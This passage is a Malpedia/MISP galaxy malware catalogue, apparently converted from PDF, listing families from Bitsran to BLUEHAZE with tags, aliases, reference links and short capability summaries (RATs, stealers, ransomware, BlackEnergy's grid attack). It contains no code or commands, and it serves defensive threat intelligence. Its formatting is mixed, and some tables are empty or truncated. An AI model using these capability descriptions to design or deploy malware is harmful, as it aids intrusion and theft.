The tag is: `misp-galaxy:malpedia="Bitsran"`

Bitsran is also known as:

- SHADYCAT

**Table 2583. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran">https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran</a></td>
</tr>
<tr>
<td><a href="http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html">http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

**Bitter RAT**

The tag is: `misp-galaxy:malpedia="Bitter RAT"`

Bitter RAT is also known as:

**Table 2584. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan">https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html">https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html</a></td>
</tr>
</tbody>
</table>

**BitRAT**

According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes
it irresistible to cybercriminals and helps the malicious payload spread.

Furthermore, each buyer’s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.

BitRAT’s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.

The tag is: `misp-galaxy:malpedia="BitRAT"`

BitRAT is also known as:

**Table 2585. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat">https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat</a></td>
</tr>
<tr>
<td><a href="https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md">https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md</a></td>
</tr>
<tr>
<td><a href="https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/">https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/ade260c6">https://community.riskiq.com/article/ade260c6</a></td>
</tr>
<tr>
<td><a href="https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/">https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/</a></td>
</tr>
<tr>
<td><a href="https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4">https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4</a></td>
</tr>
</tbody>
</table>
Bizzaro

Kaspersky Labs characterizes Bizarro as yet another banking Trojan family originating from Brazil that is now found in other regions of the world. They have seen users being targeted in Spain, Portugal, France and Italy. Attempts have now been made to steal credentials from customers of 70 banks from different European and South American countries.

The tag is: misp-galaxy:malpedia="Bizzaro"

Bizzaro is also known as:

Table 2586. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bizarro">https://malpedia.caad.fkie.fraunhofer.de/details/win.bizarro</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/bizarro-banking-trojan-expands-its-attacks-to-europe/102258/">https://securelist.com/bizarro-banking-trojan-expands-its-attacks-to-europe/102258/</a></td>
</tr>
</tbody>
</table>

BKA Trojaner

BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.

The tag is: misp-galaxy:malpedia="BKA Trojaner"

BKA Trojaner is also known as:
Black Basta (Windows)

"Black Basta" is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.

The tag is: `misp-galaxy:malpedia="Black Basta (Windows)"

Black Basta (Windows) is also known as:

- no_name_software

Table 2588. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta</a></td>
</tr>
<tr>
<td><a href="https://securityscorecard.pathfactory.com/all/a-deep-dive-into-black-basta-ransomware">https://securityscorecard.pathfactory.com/all/a-deep-dive-into-black-basta-ransomware</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware">https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/">https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/</a></td>
</tr>
</tbody>
</table>
BlackByte

Ransomware. Uses dropper written in JavaScript to deploy a .NET payload.

The tag is: misp GALAXY:malpedia="BlackByte"

BlackByte is also known as:

Table 2589. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte
https://securelist.com/modern-ransomware-groups-ttps/106824/
<table>
<thead>
<tr>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/">https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/the-blackbyte-ransomware-group-is.html">https://blog.talosintelligence.com/2022/05/the-blackbyte-ransomware-group-is.html</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/blackbyte-ransomware/">https://redcanary.com/blog/blackbyte-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt">https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape">https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/splinter_code/status/1628057204954652674">https://twitter.com/splinter_code/status/1628057204954652674</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape">https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape</a></td>
</tr>
</tbody>
</table>

**BlackCat (Windows)**

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is
commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

The tag is: \textit{misp-galaxy:malpedia="BlackCat (Windows)"}

BlackCat (Windows) is also known as:

\begin{itemize}
  \item ALPHV
  \item Noberus
\end{itemize}

\textit{Table 2590. Table References}

\begin{tabular}{|l|}
\hline
Links \tabularnewline
\hline
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat \tabularnewline
https://blog.group-ib.com/blackcat \tabularnewline
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html \tabularnewline
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alterts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf \tabularnewline
https://www.varonis.com/blog/alphv-blackcat-ransomware \tabularnewline
https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive \tabularnewline
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf \tabularnewline
https://securelist.com/modern-ransomware-groups-tttps/106824/ \tabularnewline
https://killingthebear.jorgetesta.tech/actors/alphv \tabularnewline
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments \tabularnewline
https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/ \tabularnewline
https://unit42.paloaltonetworks.com/blackcat-ransomware/ \tabularnewline
https://www.intrinsec.com/alphv-ransomware-gang-analysis \tabularnewline
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html \tabularnewline
https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/ \tabularnewline
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor \tabularnewline
\hline
\end{tabular}
BLACKCOFFEE

a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal.

The tag is: misp-galaxy:malpedia="BLACKCOFFEE"

BLACKCOFFEE is also known as:

- PNGRAT
- ZoxPNG
- gresim

Table 2591. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee
https://attack.mitre.org/groups/G0025/
BlackEnergy

BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.

Version 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to - download and execute a remote file; - execute a local file on the infected computer; - update the bot and its plugins;

The Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.

In 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included: - operations with victim’s filesystem - spreading with a parasitic infector - spying features like keylogging, screenshots or a robust password stealer - Team viewer and a simple pseudo “remote desktop” - listing Windows accounts and scanning network - destroying the system

Typical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.
On 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.

The tag is: \textit{misp-galaxy:malpedia}="BlackEnergy"

BlackEnergy is also known as:

\textit{Table 2592. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-viking">https://www.secureworks.com/research/threat-profiles/iron-viking</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/blackenergy2">https://www.secureworks.com/research/blackenergy2</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection">https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/black-ddos/36309/">https://securelist.com/black-ddos/36309/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html">https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/casting-a-light-on-blackenergy/">https://threatconnect.com/blog/casting-a-light-on-blackenergy/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/">https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/</a></td>
</tr>
</tbody>
</table>
BlackGuard

According to Zscaler, BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients.

The tag is: `misp-galaxy:malpedia="BlackGuard"

BlackGuard is also known as:

<table>
<thead>
<tr>
<th>Table 2593. Table References</th>
</tr>
</thead>
</table>

**Links**

https://malpedia.caad.fkie.fraunhofer.de/details/win.blackguard
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://cyberint.com/blog/research/blackguard-stealer/
https://www.youtube.com/watch?v=Fd8WjxzY2_g
https://ke-la.com/information-stealers-a-new-landscape/
https://medium.com/s2wblog/the-history-of-blackguard-stealer-86207e72ff4
https://blog.cyble.com/2022/04/01/dissecting-blackguard-info-stealer/
BlackKingdom Ransomware

The tag is: misp-galaxy:malpedia="BlackKingdom Ransomware"

BlackKingdom Ransomware is also known as:

Table 2594. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/02/blackkingdom-ransomware.html">https://id-ransomware.blogspot.com/2020/02/blackkingdom-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/black-kingdom-ransomware/102873/">https://securelist.com/black-kingdom-ransomware/102873/</a></td>
</tr>
<tr>
<td><a href="https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html">https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html</a></td>
</tr>
</tbody>
</table>

BlackLotus

The tag is: misp-galaxy:malpedia="BlackLotus"

BlackLotus is also known as:

Table 2595. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus">https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus</a></td>
</tr>
<tr>
<td><a href="https://kn0s-organization.gitbook.io/blacklotus-analysis-stage2-bootkit-rootkit-stage/">https://kn0s-organization.gitbook.io/blacklotus-analysis-stage2-bootkit-rootkit-stage/</a></td>
</tr>
<tr>
<td><a href="https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html">https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/">https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/</a></td>
</tr>
</tbody>
</table>

BlackMagic

Ransomware
The tag is: misp-galaxy:malpedia="BlackMagic"

BlackMagic is also known as:

Table 2596. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/12/07/a-closer-look-at-blackmagic-ransomware/">https://blog.cyble.com/2022/12/07/a-closer-look-at-blackmagic-ransomware/</a></td>
</tr>
</tbody>
</table>

**BlackMatter (Windows)**

According to PCrisk, BlackMatter is a piece of malicious software categorized as ransomware. It operates by encrypting data for the purpose of making ransom demands for the decryption tools. In other words, files affected by BlackMatter are rendered inaccessible, and victims are asked to pay to recover access to their data.

During the encryption process, files are appended with an extension consisting of a random character string. For example, a file initially named "1.jpg" would appear as something similar to "1.jpg.k5RO9fVOl". After this process is complete, the ransomware changes the desktop wallpaper and created a ransom note - "[random_string].README.txt" (e.g., k5RO9fVOl.README.txt).

The tag is: misp-galaxy:malpedia="BlackMatter (Windows)"

BlackMatter (Windows) is also known as:

Table 2597. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html">https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html</a></td>
</tr>
<tr>
<td><a href="https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html">https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html</a></td>
</tr>
<tr>
<td><a href="https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group">https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-291a">https://us-cert.cisa.gov/ncas/alerts/aa21-291a</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html">https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GelosSnake/status/1451465959894667275">https://twitter.com/GelosSnake/status/1451465959894667275</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/">https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/">https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/blackmatter">https://blog.minerva-labs.com/blackmatter</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackmatter#">https://blog.group-ib.com/blackmatter#</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackmatter2">https://blog.group-ib.com/blackmatter2</a></td>
</tr>
<tr>
<td><a href="https://www.varonis.com/blog/blackmatter-ransomware/">https://www.varonis.com/blog/blackmatter-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/">https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant%E2%80%94lockbit-3-.html">https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/">https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/</a></td>
</tr>
</tbody>
</table>
BlackNET RAT

Advanced and modern Windows botnet with PHP panel developed using VB.NET. It has a lot of functionalities including: stealing/grabbing files and passwords, keylogging, cryptojacking, loading files, executing commands, etc. It is open source and emerged at the end of 2019.

The tag is: *misp-galaxy:malpedia=*BlackNET RAT*

BlackNET RAT is also known as:

*Table 2598. Table References*
BlackNix RAT

The tag is: *misp-galaxy:malpedia=*BlackNix RAT*

BlackNix RAT is also known as:

Table 2599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknix_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknix_rat</a></td>
</tr>
<tr>
<td><a href="https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb">https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb</a></td>
</tr>
</tbody>
</table>

BlackPOS

BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.

The tag is: *misp-galaxy:malpedia=*BlackPOS*

BlackPOS is also known as:

- Kaptoxa
- MMon
- POSWDS
- Reedum

Table 2600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos</a></td>
</tr>
</tbody>
</table>
BlackRemote

The tag is: `misp-galaxy:malpedia="BlackRemote"`

BlackRemote is also known as:

- BlackRAT

Table 2601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/">https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/">https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2020/05/14/raticate/">https://news.sophos.com/en-us/2020/05/14/raticate/</a></td>
</tr>
</tbody>
</table>

BlackRevolution

The tag is: `misp-galaxy:malpedia="BlackRevolution"`

BlackRevolution is also known as:

Table 2602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution">https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution</a></td>
</tr>
</tbody>
</table>

BlackRouter

The tag is: `misp-galaxy:malpedia="BlackRouter"`

BlackRouter is also known as:

- BLACKHEART
**Blackruby**

Ransomware.

The tag is: `misp-galaxy:malpedia="Blackruby"

Blackruby is also known as:

**BlackShades**

The tag is: `misp-galaxy:malpedia="BlackShades"

BlackShades is also known as:
**BlackSnake**

The tag is: *misp-galaxy:malpedia="BlackSnake"*

BlackSnake is also known as:

*Table 2606. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksnake">https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksnake</a></td>
</tr>
</tbody>
</table>

**BlackSoul**

The tag is: *misp-galaxy:malpedia="BlackSoul"*

BlackSoul is also known as:

*Table 2607. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksoul">https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksoul</a></td>
</tr>
</tbody>
</table>

**BlackSuit (Windows)**

According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.

The tag is: *misp-galaxy:malpedia="BlackSuit (Windows)"*

BlackSuit (Windows) is also known as:

*Table 2608. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksuit">https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksuit</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2023/05/12/blacksuit-ransomware-strikes-windows-and-linux-users/">https://blog.cyble.com/2023/05/12/blacksuit-ransomware-strikes-windows-and-linux-users/</a></td>
</tr>
</tbody>
</table>

**Blackworm RAT**

The tag is: *misp-galaxy:malpedia="Blackworm RAT"*

Blackworm RAT is also known as:
### BleachGap

The tag is: `misp-galaxy:malpedia="BleachGap"`

BleachGap is also known as:

- AIRDRY
- ZetaNile

### BLINDINGCAN

BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S). It uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. It sends information about the victim's environment, like computer name, IP, Windows product name and processor name. It supports around 30 commands that include operations on the victim's filesystem, basic process management, command line execution, file exfiltration, configuration update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. It uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc. It contains specific RTTI symbols like `.AVCHTTP_Protocol@@`, `.AVCFileRW@` or `.AVCSinSocket@`. BLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.

The tag is: `misp-galaxy:malpedia="BLINDINGCAN"`

BLINDINGCAN is also known as:

- AIRDRY
- ZetaNile
BLINDTOAD

BLINDTOAD is 64-bit Service DLL that loads an encrypted file from disk and executes it in memory.

The tag is: misp-galaxy:malpedia="BLINDTOAD"

BLINDTOAD is also known as:

Table 2612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad">https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad</a></td>
</tr>
<tr>
<td><a href="https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html">https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

Blister

Elastic observed this loader coming with valid code signatures, being used to deploy secondary payloads in-memory.

The tag is: misp-galaxy:malpedia="Blister"

Blister is also known as:

- COLORFAKE

Table 2613. Table References
**BloodyStealer**

The tag is: *misp-galaxy:malpedia=*"BloodyStealer"*

BloodyStealer is also known as:

*Table 2614. Table References*
BlueFox

BlueFox is a .NET infostealer sold on forums as a Maware-as-a-Service. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber and loader capabilities.

The tag is: misp-galaxy:malpedia="BlueFox"

BlueFox is also known as:

Table 2615. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bluefox">https://malpedia.caad.fkie.fraunhofer.de/details/win.bluefox</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/">https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/">https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/</a></td>
</tr>
</tbody>
</table>

BLUEHAZE

Mandiant associates this with UNC4191, this malware is a launcher for NCAT to establish a reverse tunnel.

The tag is: misp-galaxy:malpedia="BLUEHAZE"

BLUEHAZE is also known as:

Table 2616. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze">https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze</a></td>
</tr>
<tr>
